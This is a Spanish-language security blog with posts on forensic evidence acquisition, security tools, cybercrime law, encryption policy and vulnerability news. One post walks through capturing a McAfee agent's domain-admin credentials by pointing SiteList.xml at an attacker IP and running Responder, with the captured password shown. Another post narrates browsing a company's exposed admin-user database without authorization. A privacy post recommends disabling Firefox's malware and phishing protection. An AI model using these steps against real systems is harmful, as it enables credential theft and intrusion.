lunes, 8 de febrero de 2016

Adquisición de evidencia forense informática

La alteración de evidencias podría suceder incluso en remoto, pues en algunos dispositivos es posible hacer un reset de fábrica, un borrado o un bloqueo del terminal, simplemente enviando un mensaje. Además, las llamadas o los datos entrantes estarían contaminando las pruebas. Incluso si no hay evidencia de que esto haya sucedido, el simple hecho de que se tenga constancia de la existencia de vulnerabilidades asociadas al dispositivo, que pudieran ser explotadas para contaminar las evidencias, podría poner en evidencia la validez de las mismas. 
Por otra parte, existe también el riesgo de que, si el teléfono está infectado con malware, éste se propague por la red a la que se conecte el teléfono. Y aún más grave sería la posibilidad de que se trate de un teléfono bomba que pueda ser detonado en remoto.


Así pues, hay que aislar el terminal de cualquier tipo de red inalámbrica; lo que puede hacerse de alguna de las siguientes maneras:
- Poniéndolo en modo avión.
- Apagándose. Pero esto tiene el riesgo de que luego, al encenderlo, nos pida el pin y no podamos acceder a él para obtener las evidencias. Por ello, siempre es mejor dejarlo encendido y conectarlo a la corriente para que no se agote la batería.
- Guardándolo en una caja de Faraday.
- Sustituyendo la SIM por una CNIC (Cellular Network Isolation Card): esto permite que el teléfono siga encendido pero que no tenga conexión con la red de telefonía.
- Pidiéndole a la compañía telefónica que lo saque de la red o haciéndo nosotros mismos un jamming/spoofing del dispositivo (emitir una señal más fuerte que la de la torre que envíe un
no-carrier<"> al teléfono). Por supuesto, hay que tener en cuenta las implicaciones legales que estos dos métodos pueden tener. Normalmente son las Fuerzas y Cuerpos de Seguridad del Estado (u otros organismos estatales) los que podrán hacer eso, previa autorización judicial.


Otra buena guía es el manual de buenas prácticas de la ACPO (Association Of Chief Police Officers): Good Practice Guide for Computer-Based Electronic Evidence.



Por ejemplo, explica que de un ordenador en funcionamiento se pueden extraer detalles de la conexión a la red y datos de la memoria volátil. Es decir: procesos y servicios en ejecución, información del sistema, información de autoarranque, información del registro, puertos abiertos, puertos cerrados y puertos en escucha, ARP caché, aplicaciones desencriptadas, usuarios y contraseñas y código residente en memoria, entre otras cosas.


Esta información es importante porque permite comprender mejor qué estaba sucediendo en el ordenador en un momento determinado y complementa a la que se pueda extraer del disco. Por ejemplo, una de las cosas que se pueden investigar con los datos de la memoria volátil es la presencia de una puerta trasera abierta por un troyano.


Para recuperar la memoria volátil se puede utilizar un live-USB con las herramientas forenses adecuadas. Los pasos a seguir son:


- Conectar el USB.
- Ejecutar el script con las herramientas.
- Expulsar el USB.
- Desconectarlo.
- Ahora el sistema ya se puede apagar y el USB donde se ha guardado la información se conecta al equipo forense para analizarla, por ejemplo con Volatility.




No siempre es necesario acudir físicamente con las herramientas forenses al puesto a analizar. También se puede obtener información «al vuelo» desde la red a la que el equipo está conectado si está instalado un agente de software forense.

Otros dispositivos que también se pueden utilizar para obtener información de la conexión de red del dispositivo que se está analizando son los routers y firewalls (cortafuegos). Y puede consultarse desde consola.

Espero que os hayan gustado estas entradas como una pequeña introducción a la gestión de incidentes y adquisición de evidencias.


Por cierto, si queréis saber más sobre la adquisición de evidencias volátilies (a parte del volcado de la RAM), no dejéis de consultar este post de los chicos de Security at Work. Hay cosas muy interesantes.

Obteniendo privilegios de administrador de dominio con McAfee o la manía de usar cuentas con demasiados permisos

El título de esta entrada es tan largo como el tiempo que llevo encontrándome el uso de cuentas con demasiados privilegios para actualizar algunos programas. En serio que les agradezco que faciliten tanto la vida a la hora de hacer un pentest pero NO es necesario usar usuarios que pertenezcan al grupo de administradores de dominio para distribuir software en un Directorio Activo.



La consecuencia de hacerlo es que cualquier fallo puede derivar en el compromiso de todos los equipos Windows de una red local.


Hace unos días vimos un ejemplo cuando Toufik Airane publicó en Github cómo capturar las credenciales usadas por un agente McAfee VirusScan Enterprise 8.8 a la hora de intentar actualizarse contra los repositorios definidos en la ePO.
 
Concretamente los repositorios están definidos en "C:\ProgramData\McAfee\Common Framework\SiteList.xml", donde encontraremos los servidores para conectarse por HTTP o SMB (UNC) además de los nombres de usuario y las credenciales cifradas:

<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" GlobalVersion="20150327073827" LocalVersion="Fri, 9 Oct 2013 09:23:23 UTC" Type="Client">
<Policies><Setting name="OverwriteClientSites">1</Setting><Setting name="nMaxHopLimit">1</Setting>
<Setting name="nMaxPingTimeout">5</Setting><Setting name="uiFindNearestMethod">2</Setting></Policies>

<SiteList Default="1" Name="SomeGUID">

<SpipeSite Type="master" Name="REPO1" Order="2" Enabled="1" Local="0" Server="servidor.dominio:8005" ServerName="servidor:8005" ServerIP="192.168.1.200:8005" Version="4.0.0"><RelativePath>Software</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></SpipeSite>

<UNCSite Type="repository" Name="REPO2" Order="1" Server="servidor" Enabled="1" Local="0"><ShareName>Mad</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>*DOMINIO*</DomainName><UserName>usuario_epo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></UNCSite>

<HttpSite Type="fallback" Name="REPO3" Order="3" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName>Anónimo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></HttpSite>

</SiteList>
</ns:SiteLists>

Como veremos para poder acceder al repositorio "REPO2" se utiliza el usuario 'usuario_epo'el cual, como podemos comprobar a continuación, es además miembro del grupo '*Domain Admins':

PS C:\Users\vmotos> net user usuario_epo /domain
Se procesará la solicitud en un controlador de dominio del dominio *DOMINIO*.

Nombre de usuario                          usuario_epo
Nombre completo                            usuario_epo
Comentario
Comentario del usuario
Código de país                             000 (Predeterminado por el equipo)
Cuenta activa                              Sí
La cuenta expira                           Nunca

Ultimo cambio de contraseña                16/03/2014 7:53:12
La contraseña expira                       Nunca
Cambio de contraseña                       16/03/2014 7:53:12
Contraseña requerida                       Sí
El usuario puede cambiar la contraseña     Sí

Estaciones de trabajo autorizadas          Todas
Script de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada                     05/02/2016 18:12:03

Horas de inicio de sesión autorizadas      Todas

Miembros del grupo local
Miembros del grupo global                  *Domain Admins
                                           *Domain Users
Se ha completado el comando correctamente.

Como podémos imaginar, a partir de este momento ese usuario se convierte en la golosina más apetecible para cualquier atacante, que sólo tiene que modificar el archivo"SiteList.xml" (en un PC nuevo si la consola está protegida con contraseña) para que apunte a una IP maliciosa que estará escuchando ansiosamente la "llamada" con las valiosas credenciales:
<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" Type="Client">
<SiteList Default="1" Name="SomeGUID">

<HttpSite Type="fallback" Name="PWNED!" Order="1" Enabled="1" Local="0" Server="192.168.1.32:80">
<RelativePath>LICORNE</RelativePath><UseAuth>1</UseAuth>
<UserName>usuario_epo</UserName>
<Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password>
</HttpSite>

</SiteList></ns:SiteLists>
  
Puedes comprobar si tenemos acceso a la consola que la lista de repositorios de AutoUpdate ha sido modificada:

  
Ahora sólo falta levantar el servidor falso que recoja la contraseña. 

git clone https://github.com/SpiderLabs/Responder.git
cd Responder/
python Responder.py -I eth0 --basic


  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3

  Original work by Laurent Gaffie (lgaffie@trustwave.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [ON]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [ON]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.1.32]
    Challenge set              [1122334455667788]


[+] Listening for events...
 Por último forzamos la actualización...


Y ya tenemos la contraseña de todo un señor administrador de dominio: 
[*] [LLMNR]  Poisoned answer sent to 192.168.1.41 for name 192.168.1.32

[HTTP] Basic Client   : 192.168.1.41
[HTTP] Basic Username : usuario_epo
[HTTP] Basic Password : *\contraseña/*

Fuentehttps://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md

domingo, 7 de febrero de 2016

Configura tu navegador para mejorar tu privacidad

Como ya comentamos en post anteriores los navegadores web modernos no han sido diseñados para asegurar la privacidad de la web. Los navegadores envía información que te hace único entre millones de usuarios y por lo tanto fáciles de identificar. En un post anterior estuvimos hablando sobre WebRTC y como mejorar la privacidad de nuestro navegador.




En esta ocasión nos daremos unas nociones básicas para configurar nuestro navegador, veamos:

Escribir en la barra de direcciones del navegador about:config
Aparecerá un mensaje alertando que tengamos cuidado con lo que tocamos, no se vaya a romper ni caso, hacer clic en “tendré cuidado, lo prometo”.



A continuación seguimos las siguientes instrucciones:


-privacy.trackingprotection.enabled = true
Se trata de Mozilla una nueva construcción en el seguimiento de protección.
-geo.enabled = false
Deshabilita la geolocalización.
-browser.safebrowsing.enabled = false
Desactiva la protección de phishing y navegación segura de Google.
-browser.safebrowsing.malware.enabled = false
Desactiva el check de malware de Google.
-dom.event.clipboardevents.enabled = false
Digamos que desactiva si alguien, pega o corta algo de una página web, y permite saber que parte de la página había sido seleccionado.
-network.cookie.cookieBehavior = 1
-Deshabilita cookies.
0 = acepta todas cookies por defecto.
1 = sólo se aceptan desde el sitio de origen (bloquea cookies de terceros).
2 = bloquea todas las cookies por defecto.
-network.cookie.lifetimePolicy = 2
Las cookies se eliminan al final de la sesión.
0 = se acepta cookies normalmente.
1 = prompt para cada cookie.
2 = se acepta sólo para la sesión actual.
3 = se acepta para N días.
-browser.cache.offline.enable = false
Deshabilita la caché sin conexión.
-browser.send_pings = false
El atributo podría ser útil para permitir que sitios web de seguimiento de clics de los visitantes.
-webgl.disabled = true
WebGL es un riesgo de seguridad potencial.
-dom.battery.enabled = false
Propietarios de sitios web pueden rastrear el estado de la batería de nuestros dispositivos.
-browser.sessionstore.max_tabs_undo = 0





Fuentes: http://kb.mozillazine.org/Category:Security_and_privacy-related_preferences


http://security.stackexchange.com/questions/13799/is-webgl-a-security-concern

sábado, 6 de febrero de 2016

Google realizará curso gratuito con técnicas y trucos de busqueda





Este curso online y gratuito estará disponible del 8 al 21 de febrero del 2016, está compuesto de 6 unidades y diferente contenido complementario.

Temario del curso.
Unidad 1: Introducción
Unidad 2: Interpretación de los resultados
Unidad 3: Técnicas avanzadas
Unidad 4: Buscar datos con mayor rapidez
Unidad 5: Comprobación de los hechos
Unidad 6: Poniendo todo junto

Está abierto al publico en general y además si cumplen con las actividades podrán recibir un certificado por parte de Google.

Pueden registrarse en el siguiente link: https://coursebuilder.withgoogle.com/sample/preview

cuckoo herramienta para analizar malwares sin riesgo a infectarte



Cuckoo Sandbox es una herramienta de código abierto desarrollada en 2013 para facilitar a los usuarios el análisis forense del malware, pudiendo conocer más información (qué hace, a qué componentes afecta, qué conexiones realiza, etc) sobre las diferentes piezas de software malicioso que circulan por la red sin peligro de caer víctimas de los piratas informáticos, todo ello desde un cajón de arena, sandbox, totalmente aislado del sistema principal.



Gracias a su diseño modular, vamos a poder personalizar tanto el proceso como las etapas y la presentación de los informes según lo extenso que queramos que sea el análisis del malware. Esta herramienta se encarga de configurar correctamente los límites del sistema (sandbox) de manera que el usuario pueda configurar en entorno donde se ejecutará el malware para un comportamiento personalizado.

Con el fin de poder analizar el malware de la forma más segura y exhaustiva posible, los responsables del desarrollo de Cuckoo Sandbox han liberado la nueva versión 2.0 de su plataforma, una versión mucho más segura y completa que la primera y gracias a la cual vamos a poder analizar a fondo cualquier herramienta maliciosa (o no maliciosa, para detectar comportamientos extraños), vital para entender la forma de pensar y de trabajar de todo tipo de piratas informáticos, las motivaciones y sus objetivos de cara a protegernos lo mejor posible.

Novedades en Cuckoo Sandbox 2.0

Las principales características que se han incluido en esta actualización son:

Permite analizar y monitorizar aplicaciones compiladas para 64 bits, en Windows.
Cuckoo Sandbox es capaz de analizar aplicaciones de Mac OS X, Linux e incluso de Android.
Se integra con otras herramientas de análisis y seguridad como Suricata, Snort y Moloch.
Intercepta y descifra el tráfico TLS/HTTPS.
Es capaz de identificar el tráfico que se enruta hacia otras redes, e incluso el que viaja a través de VPN.
Cuenta con una base de datos con más de 300 técnicas diferentes para identificar comportamientos sospechosos en el malware.
Refleja los cambios que ocurren con el malware durante el análisis.
Extrae y analiza las direcciones URL presentes en los volcados de memoria.
Permite la posibilidad de ejecutar procesos adicionales en máquinas virtuales para un análisis futuro.
Nos facilita una nota de "maldad", según lo peligroso que sea el malware.

Para finalizar, como ocurre siempre con el software, se han solucionado numerosos fallos detectados en las versiones anteriores y se han aplicado una serie de mejoras y optimizaciones en toda la plataforma para que los análisis sean lo más rápidos y seguros posibles, reduciendo al mínimo infectarnos por un fallo en la herramienta.

Cuckoo Sandbox 2.0 aún se encuentra en fase Release Candidate debido a que algunas de las herramientas de la plataforma se encuentran en fase de pruebas. En los próximos meses es posible que veamos dos versiones RC más antes de llegar a la versión estable de la que, sin duda, es la mayor actualización de la plataforma desde su lanzamiento.

Si estamos interesados en utilizar esta herramienta o probar la nueva Release Candidate 2 de Cuckoo Sandbox, podemos descargarla de forma gratuita desde el siguiente enlace.

Fuente: Redes Zone

viernes, 5 de febrero de 2016

Ley de delitos informáticos en el El Salvador aprobado.


Este día se aprobó una ley la cual se había tomado mucho tiempo en hacer aprobada en nuestro país El Salvador , ya que los delitos informáticos es un auge a nivel mundial también esperamos que con esta nueva ley también se tomen medidas el gobierno en contratar gente preparada para realizar la informática forense que se necesitará para hacer valer esta nueva ley .



Los puntos que tocará esta ley  son los siguientes:


Delitos contra sistemas de información: Este capítulo incluye penas de uno a cuatro años para todo el que “intencionalmente y sin autorización (...) acceda, intercepte o utilice parcial o totalmente un sistema informático que utilice las TIC”.

Delitos relativos al contenido de datos: En esta sección se establece que quien indebidamente obtenga datos, información reservada o confidencial mediante las TIC incurre en el delito de espionaje y enfrentará prisión de cinco a ocho años.

Delitos contra la niñez y adolescencia: Estos delitos incluyen la utilización de niños, adolescentes o personas con discapacidad en actividades de pornografía a través de las TIC. Este delito será penado con cárcel de ocho a doce años.

Delitos contra el orden económico: En esta sección está el intercambio de bienes a nombre y sin autorización de un tercero. Este delito se conoce como suplantación en actos de comercialización y conlleva prisión de tres a cinco años.


y cabe aclarar que se eliminó el polémico Art.24 de esta ley la cual todos apodan la "ley mordaza" y por la cual hubo una gran polémica alrededor este la cual se descarto.

Dado ya estas circunstancias después de mucho tiempo tenemos al fin una ley contra estos crímenes solo esperemos que se contraten a las personas idóneas para el peritaje cuando lleguen estos casos.

este es el link para leer ley de delitos informaticos


Saludos, 



jueves, 4 de febrero de 2016

VBScan un scaner de vulnerabilidades para vBulletin

Mohammad Reza Espargham, profesor de la Universidad de Sharif, tiene un proyecto que se llama : VBScan, un escáner de vulnerabilidades específico para vBulletin, una de las soluciones más populares para foros de comunidades instalada en miles de servidores de todo el mundo.

La herramienta es de código abierto y está escrita en Perl (se agradece con tanto Python) y nos ayudará a verificar que nuestro sitio es seguro o no.

Aquí les dejo unas demos y los enlaces a su proyecto:

Uso:
./vbscan.pl
./vbscan.pl http://target.com/vbulletin
Project Leader : Mohammad Reza Espargham
Github : https://github.com/rezasp/vbscan/
SourceForge : https://sourceforge.net/projects/vbscan/

Seguridad SCADA: Herramientas para verificar la seguridad de entornos SCADA


SCADAShutdownTool es una herramienta que permite a los administradores de un entorno SCADA: poner a prueba los sistemas de seguridad del entorno, enumerar controladores esclavos, leer los valores de registro del PLC y reescribir los datos de registros.


SCADAShutdownTool permitir enumeraciones de todos los registros de un PLC incluyendo: salidas de bobina, entradas digitales, entradasanalógicas, registros de las explotaciones y los registros extendidos.
SCADAShutdownTool puede funcionar en tres modos diferentes:

Safe-mode: Modo sólo lectura y lista de valores distintos de cero.
Real-mode: Vuelve a escribir sólo valores distintos de cero
Aggressive-mode: Vuelva a escribir todos los registros del PLC.Registros del PLC se pueden reescribir con el valor por defecto o "valor de apagado", según lo especificado por el usuario.
SCADAShutdownTool se ha desarrollado solamente para fines de investigación, pero permite a un atacante malicioso: escanear, realizar técnicas de fuzzing y ejecutar un comando remoto en un entorno SCADA, tanto en sistemas como en PLCś.


Más información y descarga de SCADAShutdownTool:
https://github.com/pentdebra/SCADAShutdownTool

Seguridad SCADA: Honeypot para simular redes SCADA II:
http://www.gurudelainformatica.es/2015/01/seguridad-scada-honeypot-para-simular.html
Seguridad SCADA: Honeypot para simular redes SCADA I:
http://vtroger.blogspot.com/2010/10/seguridad-scada-honeypot-para-simular.html
Seguridad SCADA: Simular tráfico para probar eficacia IDS en redes industriales:
http://vtroger.blogspot.com.es/2014/01/seguridad-scada-simular-trafico-para.html
Seguridad SCADA: Auditar la configuración de seguridad de sistemas de control industrial:
http://vtroger.blogspot.com.es/2013/10/seguridad-scada-auditar-la.html
Seguridad SCADA: Herramientas de seguridad para WINCC y PLC´s S7:
http://vtroger.blogspot.com.es/2013/05/seguridad-scada-herramientas-de.html
Seguridad SCADA: Implementar IDS:
http://vtroger.blogspot.com.es/2012/05/seguridad-sada-implementar-ids.html
Seguridad SCADA: Disponibilidad en servicios OPC:
http://vtroger.blogspot.com.es/2011/05/seguridad-scada-disponibilidad-en.html
Seguridad SCADA: Fingerprinting de dispositivos que trabajan sobre MODBUS/TCP:
http://vtroger.blogspot.com/2010/08/seguridad-scada-fingerprinting-de.html
Seguridad SCADA: Firewall para MODBUS/TCP:
http://vtroger.blogspot.com/2010/08/seguridad-scada-firewall-para-modbustcp.html
Seguridad SCADA: Vulnerabilidades en OPC:
http://vtroger.blogspot.com/2010/09/seguridad-scada-vulnerabilidades-en-opc.html
Seguridad SCADA: Utilizar técnicas de fuzzing en sistemas de control industrial:
http://www.gurudelainformatica.es/2014/08/seguridad-scada-utilizar-tecnicas-de.html


miércoles, 3 de febrero de 2016

Los mejores antivirus para 2016



AV-Comparatives ha publicado un informe de los mejores antivirus para 2016. Un listado realizado con las puntuaciones de 21 soluciones en detección de archivos maliciosos, eliminación de malware y la utilización de recursos, a lo largo de todo 2015.

El laboratorio independiente de origen austríaco analizó 21 soluciones, desde antivirus simples gratuitos a suites de seguridad comerciales más completas. Avast Free Antivirus, AVG Internet Security, Avira Antivirus Pro, Baidu Antivirus, Bitdefender Internet Security, BullGuard Internet Security, Emsisoft Anti-Malware, eScan Internet Security Suite, ESET Smart Security, F-Secure Internet Security, Fortinet FortiClient (with FortiGate), Kaspersky Internet Security, Lavasoft Ad-Aware Free Antivirus+, McAfee Internet Security, Microsoft Windows Defender for Windows 10, Panda Free Antivirus, Quick Heal Total Security, Sophos Endpoint Security and Control, Tencent PC Manager, ThreatTrack VIPRE Internet Security y Trend Micro Internet Security.

No hay demasiadas sorpresas porque los más valorados de años anteriores repiten entre los mejores. Si el pasado año el premio de “producto del año” fue para BitDefender este año fue paraKaspersky:



También ha habido menciones especiales para Avast, Avira, Emsisoft, eScan, ESET y el mismo Bitdefender. Los premiados por categorías fueron:
Mejor protección en uso real
Medalla de oro: Bitdefender, Kaspersky
Medalla de plata: Avira
Medalla de bronce: Tencent
Mejor detección de malware
Medalla de oro: Bitdefender, Kaspersky
Medalla de plata: Avira
Medalla de bronce: Emsisoft, Lavasoft, BullGuard, eScan
Menor número de falsos positivos
Medalla de oro: Microsoft
Medalla de plata: ESET
Medalla de bronce: Panda
Mejor velocidad general
Medalla de oro: Avast
Medalla de plata: Avira
Medalla de bronce: Emsisoft, Kaspersky
Mejor detección proactiva de malware
Medalla de oro: Bitdefender
Medalla de plata: Kaspersky
Medalla de bronce: ESET
Mejor eliminador de malware
Medalla de oro: Kaspersky
Medalla de plata: Avast, Bitdefender
Medalla de bronce: AVG, Avira

Informe Completo Antivirus | AV Comparatives

Medidas para la prevención de fugas de información.



A día de hoy creo que todos tenemos claro que el activo más importante de una organización es la información que maneja. Información sobre sus clientes, finanzas, empleados, investigaciones o proyectos. Sin duda algo de gran valor para cualquier empresa y para lo cual deberá poner todos los medios disponibles para mantener un nivel óptimo de la seguridad de esta inforación, para evitar así el acceso de personas no autorizadas o su fuga, por lo que deberá de establecer una política de prevención de fuga de información.



Las causas de esta fuga de información pueden ser variadas, entre las que podemos encontrar:
Acceso físico no autorizado a los sistemas de información
Acceso remoto no autorizado a los sistemas de información
Acceso físico o remoto de personal autorizado a los sistemas de información

Omitiendo las dos primeras posibilidades, que serían causadas por un ataque a la seguridad lógica y física de la organización, una de las causas más probables, y de ahí aquello que “el eslabón más débil de la cadena de la seguridad es el usuario“, es la ausencia de políticas de seguridad que establezcan un control de las comunicaciones y de los dispositivos USB para almacenamiento.

Esta ausencia de políticas de seguridad de este tipo permitiría a un usuario, de forma intencionada o no, utilizar las comunicaciones de la organización para enviar información confidencial hacia el exterior o sacar información de la empresa utilizando un dispositivo USB.

A nivel de comunicaciones, bastaría con aplicar políticas que controlen a nivel de seguridad perimetral qué o quien puede utilizar las comunicaciones para enviar información al exterior, qué protocolos de comunicaciones están permitidos o qué tipo de información se puede enviar.



A nivel de dispositivos USB, cada vez más usados para llevar o traer información de la organización, existen varias amenazas que ponen en peligro la seguridad de la información de la empresa.
En caso de robo o pérdida, si no se cuenta con una política de cifrado de la información, ésta quedará accesible a terceros.
Actualmente existen ya dispositivos USB que simulan ser un dispositivo de almacenamiento pero que en realidad son como una especie de “teclado” que ejecuta una serie de instrucciones con tan sólo conectar el dispositivo a un ordenador.

Uno de los más conocidos es USB Rubber Ducky. Si el atacante consigue conectar el dispositivo al ordenador de la víctima, o mediante alguna técnica de ingeniería socialconseguir que su víctima lo haga, logrará ejecutar comandos en el ordenador de la víctima de la misma manera que lo haría si estuviera sentado justo delante de él.

Además, y para mayor preocupación, mediante técnicas de evasión de antivirus se consigue que muchas de las acciones realizadas por los atacantes y su USB Rubber Ducky no sean detectadas por los antivirus, o al menos por una gran mayoría.

Entonces, ¿estamos perdidos? ¿Deshabilitamos todos los USB de los ordenadores? Esta última opción me consta que hay varias empresas que la llevan a cabo, pero realmente estamos desaprovechando el potencial de los dispositivos USB de almacenamiento. Eso sí, siempre y cuando los usemos de forma segura, es decir, aplicando unas políticas de seguridad apropiadas..

Supongo, y quiero creer, que en la mayoría de los casos es por desconocimiento. Desconocimiento de que a día de hoy existen ya soluciones antivirus que no sólo nos defienden de malware. Hace ya tiempo que evolucionaron, y ofrecen muchas más funcionalidades para dar más seguridad al puesto del trabajo.

Desde hace ya un tiempo, se les conoce como soluciones Endpoint, y los fabricantes más importantes como ESET, Sophos, Panda o Kaspersky entre otros ya lo ofrecen. Precisamente además de limpiar malware, la mayoría ya son capaces de cifrar la información de un dispositivo USB o permiten un control de qué dispositivos USB se pueden conectar al equipo, lo que sería una importante contramedida para luchar contra amenazas como los USB Rubber Ducky.

martes, 2 de febrero de 2016

la NSA habla de la importancia del cifrado.

El cifrado es fundamental para el futuro“. La frase podría parecer más propia de defensores de la privacidad, pero provino de alguien que no asociaríamos con esa misión: la hizo el director de la NSA, Mike Rogers. De hecho, debatir si debíamos o no tener privacidad era para él “una pérdida de tiempo“.






“El cifrado es fundamental para el futuro“. La frase podría parecer más propia de defensores de la privacidad, pero provino de alguien que no asociaríamos con esa misión: la hizo el director de la NSA, Mike Rogers. De hecho, debatir si debíamos o no tener privacidad era para él “una pérdida de tiempo“.


Las declaraciones del máximo responsable de la agencia que lleva espiándonos durante años son sorprendentes desde luego: este es el organismo que precisamente ha invertido miles de millones de dólares en descifrar todo tipo de comunicaciones y protocolos de seguridad, así que ¿qué significa la defensa del cifrado por parte de la NSA?


>El FBI y la NSA enfrentados en este debate
> ¿Puede la NSA romper cualquier cifrado?
> Hacking gubernamental


Diversos gobiernos de países occidentales han abogado por la inclusión de “puertas traseras” en comunicaciones cifradas para que diversas agencias y organismos de inteligencia puedan acceder a esas comunicaciones en caso de necesidad.


Las grandes de la tecnología, encabezadas por Apple, han dejado claro que debilitar este tipo de sistemas de cifrado es un grave error, pero aún así muchos insisten en que estas medidas dificultan el trabajo que pretende evitar actos terroristas.


James Comey, director del FBI, era especialmente crítico con este tipo de protección, algo que era de esperar de una agencia que se dedica a intentar saberlo todo de todos. Y sin embargo Rogers se declaraba contrario a ese tipo de posibilidad y hablaba de cómo ese debate de sacrificar privacidad a cambio de seguridad no era el adecuado. Ambas, decía, son primordiales:


“La preocupación respecto a la privacidad nunca ha sido más importante. Tratar de hacerlo todo bien, darse cuenta de eso, significa no centrarse en una o en otra. Ni la seguridad es tan imperativa que debamos centrarlo todo en ella, ni la privacidad tampoco. Tenemos que lidiar con estos dos requisitos.”


Las declaraciones de Rogers podrían apuntar a otra posibilidad: que la agencia ya fuera capaz de romper el cifrado de prácticamente cualquier comunicación. Eso haría innecesario tener que obligar a los usuarios a no poder aprovecharlo, y a la NSA le daría igual porque cifradas o no, esas comunicaciones estarían a su alcance para ser escrutadas.


Como revelan en The Next Web, un estudio (PDF) de varios organismos a finales del año pasado revelaba que ningún cifrado actual parece invulnerable.


La misma conclusión podría desprenderse de la entrevista mantenida por editores de Xataka con Phil Zimmermann el año pasado. En ella el creador del protocolo PGP para la protección de todo tipo de comunicaciones afirmaba básicamente que el hecho de usar cifrado no asegura de forma total las comunicaciones (no olvidemos nunca que la seguridad 100% no existe).


La NSA podría en efecto haber logrado varios sistemas de cifrado, pero desde luego, no todos. Sin embargo la inversión de esta agencia a la hora de romper todo tipo de códigos es inmensa.


Uno de los documentos filtrados por Edward Snowden señalaba que el presupuesto para este propósito ascendía a 10.000 millones de dólares, y como señalaban en The Intercept, tanto la NSA como el FBI son capaces de superar el cifrado a través del hacking.


Así pues, no solo está el problema de que nuestras comunicaciones cifradas estén en peligro: también existe el riesgo de que los propios gobiernos de nuestros países -o de países extranjeros- podrían estar hackeando nuestros ordenadores y smartphones, algo que haría que de hecho el cifrado no sirviese de demasiado. Según esta teoría, que Rogers defienda o no el cifrado daría lo mismo, pero aún así sus declaraciones siguen dejándonos con la duda.


Fuente | Xataka

Shodan y los servidores Wamp fácil como 1, 2 y 3

Hacía ya bastante tiempo que no me distraía con Shodan desde la investigacion de camaras web en el salvador, este buscador que tanto nos facilita la vida, permitiendo encontrar routers, servidores, etc.

Una tarde de estas calurosas, recordé cuando estudiaba el FP de Informática en la que usábamos Wamp Server, ya que con esta tecnología instalábamos PHP, MySQL y Apache para realizar pruebas con las webs y base de datos. Entonces se me ocurrió una idea maligna y ¿por qué no buscar?, ya que tenia mono de Shodan y podría encontrarme con algunas sorpresas.



Sin perder ni un segundo más me puse en acción. Para realizar la acción de búsqueda utilice el verbo title.



Imagen 1: Búsqueda con Shodan





La búsqueda fue muy fructífera, más de 12.000 había encontrado.


Imagen 2:  Resultados Búsqueda




Estuve investigando cada sitio encontrado en los que se podía ver proyectos y herramientas habilitadas como PHPMyAdmin, WebGrind, SQLBuddy o phpinfoSin embargo yo quería mas “informacion” así que proseguí mi búsqueda, hasta que encontré un servidor con muy buena pinta.


Imagen 3:  Servidor Premiado




A continuación me sumergió en uno de los proyectos de este servidor, cuál fue mi sorpresa, no daba crédito, estaban listando un directorio llamado tablas.




Imagen 4:  Directorio Proyecto con Tablas





Inmediatamente entre en el directorio y claramente con ese nombre no podía tratarse de otra cosa que no fueran bases de datos.




Imagen 5:  Base de Datos




Lo más increíble fue encontrarme con la base de datos usuarios_admin, en ese momento tenía el poder.


Me dispongo a ver lo que contiene usuarios_admin y son todos los administradores de la empresa, se trataba de una empresa, contenía datos como usuario, contraseña, dirección, email, teléfono, ciudad, país etc.…

Imagen 6:  Base de Datos Administradores



Con todo esos datos podía haber accedido al panel de administración de la página web y haberle dedicado un defacement o quizás accedido a la intranet de la empresa con lo que ello con lleva, tantos datos confidenciales de la empresa y clientes expuestos, tendremos que darle un toque de atención  a estos señores y recordarle que es la LOPD.





Si en vez de haber dado con un hacker hubieran dado con un ciber-delincuente estarían ahora lamentándose, por suerte no fue así.





No pasan más cosas porque Dios no quiere.

Intrusión y múltiples vulnerabilidades en Cpanel (Actualizar)!

cPanel ha publicado un aviso en el que reconocen haber sufrido una intrusión en su sitio oficial que ha podido exponer información de una base de datos de usuarios.Poco después de esta intrusión la compañía confirma hasta 20 vulnerabilidades en cPanel, que podrían explotarse por usuarios para manipular datos, elevar privilegios, insertar scripts, inyección SQL, obtener información sensible o realizar ataques de Cross-site Scripting.




CPanel es un conocido panel de control para empresas de alojamiento web, que a través de una sencilla interfaz web permite a usuarios de miles de compañías realizar de forma sencilla tareas como crear subdominios, añadir cuentas de correo, instalar scripts, proteger directorios, crear bases de datos. La administración de estas acciones puede realizarse por los propios usuarios sin necesidad de la intervención del personal técnico. CPanel está disponible para Linux y FreeBSD. 

